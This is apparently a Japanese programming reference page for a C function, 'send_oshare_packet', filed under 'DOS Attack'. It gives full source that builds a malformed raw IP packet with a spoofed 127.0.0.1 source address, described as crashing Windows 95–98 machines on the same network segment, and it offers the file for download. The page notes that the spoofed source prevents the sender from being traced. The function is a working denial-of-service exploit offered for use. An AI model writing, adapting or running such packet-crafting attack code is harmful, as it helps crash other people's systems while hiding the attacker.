![]() |
|
send_oshare_packet
おしゃれパケット送信
[DOS Attack] [HedHat 5.2] |
|
| 形式 | int send_oshare_packet( int sock_send, u_long dst_addr ) |
| include | sys/socket.h netinet/ip.h netinet/tcp.h(__FAVOR_BSDモード) arpa/inet.h |
| 内容 | Windows95〜98マシンをクラッシュさせる”おしゃれパケット”をdst_addrへ1パケット送信する。sock_sendには、RAWモードでオープンしたソケットディスクプリタを指定する。送信する際、発信元アドレスはローカルホスト(127.0.0.1)となっているので逆探知は不可能だが、その反面、ネットワークによってはフィルタリングされる可能性がある。また、同一セグメント内でしか使えない(おしゃれパケットの仕組みを参照の事)。 |
| 戻り値 | malloc()、memset()に失敗した場合は-2を返し、パケットの送信に成功した場合は送信バイト数を、失敗した場合は-1を返す。 |
| ソースコード
int
send_oshare_packet( int sock_send, u_long dst_addr )
{
char *packet;
int send_status;
struct iphdr *ip;
struct sockaddr_in to;
packet = ( char *)malloc( 40 );
ip = ( struct iphdr *)( packet );
memset( packet, 0, 40 );
ip->version = 4;
ip->ihl = 11;
ip->tos = 0x00;
ip->tot_len = htons( 44 );
ip->id = htons( 65535 );
ip->frag_off = htons( 16383 );
ip->ttl = 0xff;
ip->protocol = IPPROTO_UDP;
ip->saddr = htonl( inet_addr( "127.0.0.1" ) );
ip->daddr = dst_addr;
ip->check = in_cksum( ( u_short *)ip, 40 );
to.sin_family = AF_INET;
to.sin_port = htons( 0x123 );
to.sin_addr.s_addr = dst_addr;
send_status = sendto( sock_send, packet, 40, 0,
( struct sockaddr *)&to, sizeof( struct sockaddr ) );
free( packet );
return( send_status );
}
|
|
| サンプル | おしゃれパケット仕組み |
| ダウンロード | send_oshare_packet.c |